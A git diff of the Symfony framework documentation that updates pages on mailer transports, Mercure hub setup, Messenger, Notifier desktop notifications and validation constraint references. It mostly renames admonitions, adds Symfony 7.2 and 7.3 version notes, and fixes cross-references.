++------------------------+---------------------------------------------------------+
 | `Amazon SES`_          | - SMTP ``ses+smtp://USERNAME:PASSWORD@default``         |
 |                        | - HTTP ``ses+https://ACCESS_KEY:SECRET_KEY@default``    |
 |                        | - API ``ses+api://ACCESS_KEY:SECRET_KEY@default``       |
@@ -246,20 +255,20 @@ party provider:
 |                        | - API ``sweego+api://API_KEY@default``                  |
 +------------------------+---------------------------------------------------------+
 
-.. caution::
+.. warning::
 
     If your credentials contain special characters, you must URL-encode them.
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
-.. caution::
+.. warning::
 
     If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-.. caution::
+.. warning::
 
     If you send custom headers when using the `Amazon SES`_ transport (to receive
     them later via a webhook), make sure to use the ``ses+https`` provider because
@@ -331,6 +340,17 @@ The failover-transport starts using the first transport and if it fails, it
 will retry the same delivery with the next transports until one of them succeeds
 (or until all of them fail).
 
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 Load Balancing
 ~~~~~~~~~~~~~~
 
@@ -351,6 +371,17 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 TLS Peer Verification
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -385,7 +416,7 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
 
-.. caution::
+.. warning::
 
     It's not recommended to disable TLS while connecting to an SMTP server over
     the Internet, but it can be useful when both the application and the SMTP
@@ -560,17 +591,17 @@ both strings or address objects::
         // ...
     ;
 
-.. versionadded:: 7.2
-
-    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
-    was introduced in Symfony 7.2.
-
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
     :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
+.. versionadded:: 7.2
+
+    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
+    was introduced in Symfony 7.2.
+
 .. note::
 
     The local part of the address (what goes before the ``@``) can include UTF-8
@@ -795,7 +826,7 @@ and headers.
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 
-.. caution::
+.. warning::
 
     Some third-party providers don't support the usage of keywords like ``from``
     in the ``headers``. Check out your provider's documentation before setting
@@ -1218,7 +1249,7 @@ Before signing/encrypting messages, make sure to have:
     When using OpenSSL to generate certificates, make sure to add the
     ``-addtrust emailProtection`` command option.
 
-.. caution::
+.. warning::
 
     Signing and encrypting messages require their contents to be fully rendered.
     For example, the content of :ref:`templated emails <mailer-twig>` is rendered
@@ -1243,7 +1274,7 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA).
 The email recipient must have the CA certificate in the list of trusted issuers
 in order to verify the signature.
 
-.. caution::
+.. warning::
 
     If you use message signature, sending to ``Bcc`` will be removed from the
     message. If you need to send a message to multiple recipients, you need
@@ -1991,6 +2022,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
    following the redirection and the message will be lost from the mailer event
    handler.
 
+.. _`AhaSend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/AhaSend/README.md
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`Azure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Azure/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
diff --git a/mercure.rst b/mercure.rst
index f80e3fa4bad..f37c40ddee7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -48,13 +48,28 @@ Run this command to install the Mercure support:
 
     $ composer require mercure
 
+Running a Mercure Hub
+~~~~~~~~~~~~~~~~~~~~~
+
 To manage persistent connections, Mercure relies on a Hub: a dedicated server
 that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
+.. raw:: html
+
+    <object data="_images/mercure/hub.svg" type="image/svg+xml"
+        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
+    ></object>
+
+In production, you have to install a Mercure hub by yourself.
+An official and open source (AGPL) hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
+
 Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
-:ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
+:ref:`Flex <symfony-flex>` proposes to install a Mercure hub for development.
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
@@ -64,23 +79,7 @@ you must start it with the ``--no-tls`` option.
 
     $ symfony server:start --no-tls -d
 
-Running a Mercure Hub
-~~~~~~~~~~~~~~~~~~~~~
-
-.. raw:: html
-
-    <object data="_images/mercure/hub.svg" type="image/svg+xml"
-        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
-    ></object>
-
-If you use the Docker integration, a hub is already up and running,
-and you can go straight to the next section.
-
-Otherwise, and in production, you have to install a hub by yourself.
-An official and open source (AGPL) Hub based on the Caddy web server
-can be downloaded as a static binary from `Mercure.rocks`_.
-A Docker image, a Helm chart for Kubernetes
-and a managed, High Availability Hub are also provided.
+If you use the Docker integration, a hub is already up and running.
 
 Configuration
 -------------
@@ -131,11 +130,12 @@ MercureBundle provides a more advanced configuration:
         mercure:
             hubs:
                 default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
+                    url: '%env(string:MERCURE_URL)%'
+                    public_url: '%env(string:MERCURE_PUBLIC_URL)%'
                     jwt:
-                        secret: '!ChangeThisMercureHubJWTSecretKey!'
-                        publish: ['foo', 'https://example.com/foo']
-                        subscribe: ['bar', 'https://example.com/bar']
+                        secret: '%env(string:MERCURE_JWT_SECRET)%'
+                        publish: ['https://example.com/foo1', 'https://example.com/foo2']
+                        subscribe: ['https://example.com/bar1', 'https://example.com/bar2']
                         algorithm: 'hmac.sha256'
                         provider: 'My\Provider'
                         factory: 'My\Factory'
@@ -148,19 +148,20 @@ MercureBundle provides a more advanced configuration:
         <config>
             <hub
                 name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
+                url="%env(string:MERCURE_URL)%"
+                public_url="%env(string:MERCURE_PUBLIC_URL)%"
+            > <!-- public_url defaults to url -->
                 <jwt
-                    secret="!ChangeThisMercureHubJWTSecretKey!"
+                    secret="%env(string:MERCURE_JWT_SECRET)%"
                     algorithm="hmac.sha256"
                     provider="My\Provider"
                     factory="My\Factory"
                     value="my.jwt"
                 >
-                    <publish>foo</publish>
-                    <publish>https://example.com/foo</publish>
-                    <subscribe>bar</subscribe>
-                    <subscribe>https://example.com/bar</subscribe>
+                    <publish>https://example.com/foo1</publish>
+                    <publish>https://example.com/foo2</publish>
+                    <subscribe>https://example.com/bar1</subscribe>
+                    <subscribe>https://example.com/bar2</subscribe>
                 </jwt>
             </hub>
         </config>
@@ -171,11 +172,12 @@ MercureBundle provides a more advanced configuration:
         $container->loadFromExtension('mercure', [
             'hubs' => [
                 'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'url' => '%env(string:MERCURE_URL)%',
+                    'public_url' => '%env(string:MERCURE_PUBLIC_URL)%',
                     'jwt' => [
-                        'secret' => '!ChangeThisMercureHubJWTSecretKey!',
-                        'publish' => ['foo', 'https://example.com/foo'],
-                        'subscribe' => ['bar', 'https://example.com/bar'],
+                        'secret' => '%env(string:MERCURE_JWT_SECRET)%',
+                        'publish' => ['https://example.com/foo1', 'https://example.com/foo2'],
+                        'subscribe' => ['https://example.com/bar1', 'https://example.com/bar2'],
                         'algorithm' => 'hmac.sha256',
                         'provider' => 'My\Provider',
                         'factory' => 'My\Factory',
@@ -309,22 +311,16 @@ as patterns:
 
 .. tip::
 
-    Google Chrome DevTools natively integrate a `practical UI`_ displaying in live
-    the received events:
+    Test if a URI Template matches a URL using `the online debugger`_
 
-    .. image:: /_images/mercure/chrome.png
-        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
-
-    To use it:
+.. tip::
 
-    * open the DevTools
-    * select the "Network" tab
-    * click on the request to the Mercure hub
-    * click on the "EventStream" sub-tab.
+    Google Chrome features a practical UI to display the received events:
 
-.. tip::
+    .. image:: /_images/mercure/chrome.png
+        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
 
-    Test if a URI Template match a URL using `the online debugger`_
+    In DevTools, select the "Network" tab, then click on the request to the Mercure hub, then on the "EventStream" sub-tab.
 
 Discovery
 ---------
@@ -446,7 +442,7 @@ Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
-.. caution::
+.. warning::
 
     To use the cookie authentication method, the Symfony app and the Hub
     must be served from the same domain (can be different sub-domains).
@@ -677,7 +673,7 @@ sent:
         mercure.hub.default:
             class: App\Tests\Functional\Stub\HubStub
 
-As MercureBundle support multiple hubs, you may have to replace
+As MercureBundle supports multiple hubs, you may have to replace
 the other service definitions accordingly.
 
 .. tip::
@@ -691,8 +687,6 @@ Debugging
 
     The WebProfiler panel was introduced in MercureBundle 0.2.
 
-Enable the panel in your configuration, as follows:
-
 MercureBundle is shipped with a debug panel. Install the Debug pack to
 enable it::
 
@@ -767,7 +761,6 @@ Going further
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
-.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
 .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket
diff --git a/messenger.rst b/messenger.rst
index 74f7d792436..0965cbc9170 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -783,7 +783,7 @@ times:
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
-.. caution::
+.. warning::
 
     During a deployment, something might be unavailable (e.g. the
     database) causing the consumer to fail to start. In this situation,
@@ -958,7 +958,7 @@ Rate Limited Transport
 ~~~~~~~~~~~~~~~~~~~~~~
 
 Sometimes you might need to rate limit your message worker. You can configure a
-rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
+rate limiter on a transport (requires the :doc:`RateLimiter component </rate_limiter>`)
 by setting its ``rate_limiter`` option:
 
 .. configuration-block::
@@ -1005,7 +1005,7 @@ by setting its ``rate_limiter`` option:
             ;
         };
 
-.. caution::
+.. warning::
 
     When a rate limiter is configured on a transport, it will block the whole
     worker when the limit is hit. You should make sure you configure a dedicated
@@ -1134,6 +1134,15 @@ and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
 the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
+You can define a custom retry delay (e.g., to use the value from the ``Retry-After``
+header in an HTTP response) by setting the ``retryDelay`` argument in the
+constructor of the ``RecoverableMessageHandlingException``.
+
+.. versionadded:: 7.2
+
+    The ``retryDelay`` argument and the ``getRetryDelay()`` method were introduced
+    in Symfony 7.2.
+
 .. _messenger-failure-transport:
 
 Saving & Retrying Failed Messages
@@ -1513,7 +1522,7 @@ The transport has a number of options:
     (no description available)
 
 ``sasl_method``
-
+    (no description available)
 
 ``connection_name``
     For custom connection names (requires at least version 1.10 of the PHP AMQP
@@ -1576,7 +1585,7 @@ your Envelope::
         new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
-.. caution::
+.. warning::
 
     The consumers do not show up in an admin panel as this transport does not rely on
     ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes
@@ -1627,12 +1636,6 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. caution::
-
-    The datetime property of the messages stored in the database uses the
-    timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
-
 The transport has a number of options:
 
 ``table_name`` (default: ``messenger_messages``)
@@ -1821,7 +1824,7 @@ under the transport in ``messenger.yaml``:
                                 verify_peer: true
                                 verify_peer_name: true
 
-.. caution::
+.. warning::
 
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
@@ -2687,7 +2690,7 @@ That's it! You can now consume each transport:
 
     $ php bin/console messenger:consume async_priority_normal -vv
 
-.. caution::
+.. warning::
 
     If a handler does *not* have ``from_transport`` config, it will be executed
     on *every* transport that the message is received from.
diff --git a/notifier.rst b/notifier.rst
index 144044ebe3e..090f4db2007 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -33,8 +33,14 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
-* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications on the same host machine.
+* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and
+  browsers via push notifications.
+* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications
+  on the same host machine.
+
+.. versionadded:: 7.2
+
+    The ``Desktop`` channel was introduced in Symfony 7.2.
 
 .. _notifier-sms-channel:
 
@@ -46,7 +52,7 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -70,7 +76,7 @@ Service
                     **Webhook support**: No
 `Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
                     **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
-                    **Webhook support**: No
+                    **Webhook support**: Yes
 `Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
                     **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
@@ -230,6 +236,10 @@ Service
 
     The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
+
 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since
@@ -333,7 +343,7 @@ information such as the message ID and the original message contents.
 Chat Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -382,7 +392,7 @@ Service                                  Package                               D
     The ``Gitter`` integration was removed in Symfony 7.2 because that service
     no longer provides an API.
 
-.. caution::
+.. warning::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,
     the notifications will be sent through the MessageBus. If you don't have a
@@ -552,7 +562,7 @@ notification emails:
 Push Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -635,9 +645,9 @@ configure the ``texter_transports``:
 Desktop Channel
 ~~~~~~~~~~~~~~~
 
-The desktop channel is used to display desktop notifications on the same host machine using
-:class:`Symfony\\Component\\Notifier\\Texter` classes. Currently, Symfony
-is integrated with the following providers:
+The desktop channel is used to display local desktop notifications on the same
+host machine using :class:`Symfony\\Component\\Notifier\\Texter` classes. Currently,
+Symfony is integrated with the following providers:
 
 ===============  ====================================  ==============================================================================
 Provider         Package                               DSN
@@ -645,18 +655,23 @@ Provider         Package                               DSN
 `JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
 ===============  ====================================  ==============================================================================
 
-.. versionadded: 7.2
+.. versionadded:: 7.2
 
     The JoliNotif bridge was introduced in Symfony 7.2.
 
-To enable a texter, add the correct DSN in your ``.env`` file and
-configure the ``texter_transports``:
+If you are using :ref:`Symfony Flex <symfony-flex>`, installing that package will
+also create the necessary environment variable and configuration. Otherwise, you'll
+need to add the following manually:
+
+1) Add the correct DSN in your ``.env`` file:
 
 .. code-block:: bash
 
     # .env
     JOLINOTIF=jolinotif://default
 
+2) Update the Notifier configuration to add a new texter transport:
+
 .. configuration-block::
 
     .. code-block:: yaml
@@ -699,9 +714,49 @@ configure the ``texter_transports``:
             ;
         };
 
-.. versionadded:: 7.2
+Now you can send notifications to your desktop as follows::
 
-    The ``Desktop`` channel was introduced in Symfony 7.2.
+    // src/Notifier/SomeService.php
+    use Symfony\Component\Notifier\Message\DesktopMessage;
+    use Symfony\Component\Notifier\TexterInterface;
+    // ...
+
+    class SomeService
+    {
+        public function __construct(
+            private TexterInterface $texter,
+        ) {
+        }
+
+        public function notifyNewSubscriber(User $user): void
+        {
+            $message = new DesktopMessage(
+                'New subscription! 🎉',
+                sprintf('%s is a new subscriber', $user->getFullName())
+            );
+
+            $texter->send($message);
+        }
+    }
+
+These notifications can be customized further, and depending on your operating system,
+they may support features like custom sounds, icons, and more::
+
+    use Symfony\Component\Notifier\Bridge\JoliNotif\JoliNotifOptions;
+    // ...
+
+    $options = (new JoliNotifOptions())
+        ->setIconPath('/path/to/icons/error.png')
+        ->setExtraOption('sound', 'sosumi')
+        ->setExtraOption('url', 'https://example.com');
+
+    $message = new DesktopMessage('Production is down', <<<CONTENT
+        ❌ Server prod-1 down
+        ❌ Server prod-2 down
+        ✅ Network is up
+        CONTENT, $options);
+
+    $texter->send($message);
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/profiler.rst b/profiler.rst
index 717094bff31..57d412472ba 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -303,13 +303,13 @@ These are the method that you can define in the data collector class:
     from ``AbstractDataCollector``). If you need some services to collect the
     data, inject those services in the data collector constructor.
 
-    .. caution::
+    .. warning::
 
         The ``collect()`` method is only called once. It is not used to "gather"
         data but is there to "pick up" the data that has been stored by your
         service.
 
-    .. caution::
+    .. warning::
 
         As the profiler serializes data collector instances, you should not
         store objects that cannot be serialized (like PDO objects) or you need
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 19a27b71793..a8399dafe28 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -33,7 +33,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
-* :doc:`AutowireIterator <service-locator_autowire-iterator>`
+* :ref:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireMethodOf <autowiring_closures>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
@@ -106,16 +106,18 @@ Security
 * :ref:`IsCsrfTokenValid <csrf-controller-attributes>`
 * :ref:`IsGranted <security-securing-controller-attributes>`
 
+.. _reference-attributes-serializer:
+
 Serializer
 ~~~~~~~~~~
 
-* :ref:`Context <serializer_serializer-context>`
+* :ref:`Context <serializer-context>`
 * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
-* :ref:`Groups <component-serializer-attributes-groups-attributes>`
+* :ref:`Groups <serializer-groups-attribute>`
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
-* :ref:`SerializedName <serializer_name-conversion>`
-* :ref:`SerializedPath <serializer-enabling-metadata-cache>`
+* :ref:`SerializedName <serializer-name-conversion>`
+* :ref:`SerializedPath <serializer-nested-structures>`
 
 Twig
 ~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53edf220642..4ce41c3615d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -175,7 +175,7 @@ named ``kernel.http_method_override``.
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
     Symfony forms.
 
-.. caution::
+.. warning::
 
     If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
     with this option, the kernel will ignore the ``_method`` parameter,
@@ -193,8 +193,6 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
-.. _configuration-framework-http_method_override:
-
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2941,11 +2939,11 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using `PHP attributes`_.
+Enables support for `PHP attributes`_ in the serializer component.
 
 .. seealso::
 
-    For more information, see :ref:`serializer-using-serialization-groups-attributes`.
+    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
 
 .. _reference-serializer-name_converter:
 
@@ -2961,8 +2959,7 @@ value.
 
 .. seealso::
 
-    For more information, see
-    :ref:`component-serializer-converting-property-names-when-serializing-and-deserializing`.
+    For more information, see :ref:`serializer-name-conversion`.
 
 .. _reference-serializer-circular_reference_handler:
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index f0b11f47064..93c65621999 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -20,7 +20,7 @@ under the ``web_profiler`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd``
 
-.. caution::
+.. warning::
 
     The web debug toolbar is not available for responses of type ``StreamedResponse``.
 
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 3f05e5eac25..6cde4a11bac 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -124,18 +124,13 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``strict``
+**type**: ``string`` **default**: ``Bic::VALIDATION_MODE_STRICT``
 
-This option defines how the BIC is validated:
+This option defines how the BIC is validated. The possible values are available
+as constants in the :class:`Symfony\\Component\\Validator\\Constraints\\Bic` class:
 
-* ``strict`` validates the given value without any modification;
-* ``case-insensitive`` converts the given value to uppercase before validating it.
-
-.. tip::
-
-    The possible values of this option are also defined as PHP constants of
-    :class:`Symfony\\Component\\Validator\\Constraints\\BIC`
-    (e.g. ``BIC::VALIDATION_MODE_CASE_INSENSITIVE``).
+* ``Bic::VALIDATION_MODE_STRICT`` validates the given value without any modification;
+* ``Bic::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
 
 .. versionadded:: 7.2
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 3424d47c9d3..f4c78a9642a 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -245,7 +245,7 @@ constructor of the Callback constraint::
         }
     }
 
-.. caution::
+.. warning::
 
     Using a ``Closure`` together with attribute configuration will disable the
     attribute cache for that class/property/method because ``Closure`` cannot
@@ -271,14 +271,16 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the first argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the first argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the second argument.
 
 Static or closure callbacks receive the validated object as the first argument,
 the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the second argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+.. _reference-constraints-callback-payload:
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index f6bcce7e5f5..ffcfbf55dda 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -99,11 +99,16 @@ This message is shown if the underlying data is not a valid datetime.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+================  ==============================================================
+Parameter         Description
+================  ==============================================================
+``{{ value }}``   The current (invalid) value
+``{{ label }}``   Corresponding form field label
+``{{ format }}``  The date format defined in ``format``
+================  ==============================================================
+
+.. versionadded:: 7.3
+
+    The ``{{ format }}`` parameter was introduced in Symfony 7.3.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d2f151adea8..d5d78f60a0f 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -4,7 +4,7 @@ EqualTo
 Validates that a value is equal to another value, defined in the options.
 To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``==``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 205d78b5cbb..6d9b72d17b8 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -242,7 +242,7 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-.. caution::
+.. warning::
 
     You should always use the ``extensions`` option instead of ``mimeTypes``
     except if you explicitly don't want to check that the extension of the file
@@ -298,7 +298,12 @@ Parameter                       Description
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
-.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
+====================  ==============================================================
+Parameter             Description
+====================  ==============================================================
+``{{ extension }}``   The extension of the given file
+``{{ extensions }}``  The list of allowed file extensions
+====================  ==============================================================
 
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 507493b63d4..5b6d853dc0b 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is identical to another value, defined in the options.
 To force that a value is *not* identical, see
 :doc:`/reference/constraints/NotIdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``===``, so ``3`` and ``"3"`` are *not*
     considered equal. Use :doc:`/reference/constraints/EqualTo` to compare
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 48dc1d5e0ed..23fbe5a157a 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -210,6 +210,10 @@ add several other options.
 
 If this option is false, the image cannot be landscape oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowLandscape`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowLandscapeMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -234,6 +238,10 @@ Parameter         Description
 
 If this option is false, the image cannot be portrait oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowPortrait`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowPortraitMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -260,6 +268,10 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
+.. versionadded:: 7.3
+
+    The ``allowSquare`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowSquareMessage``
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -358,6 +370,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``maxRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``maxRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -477,6 +493,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``minRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``minRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
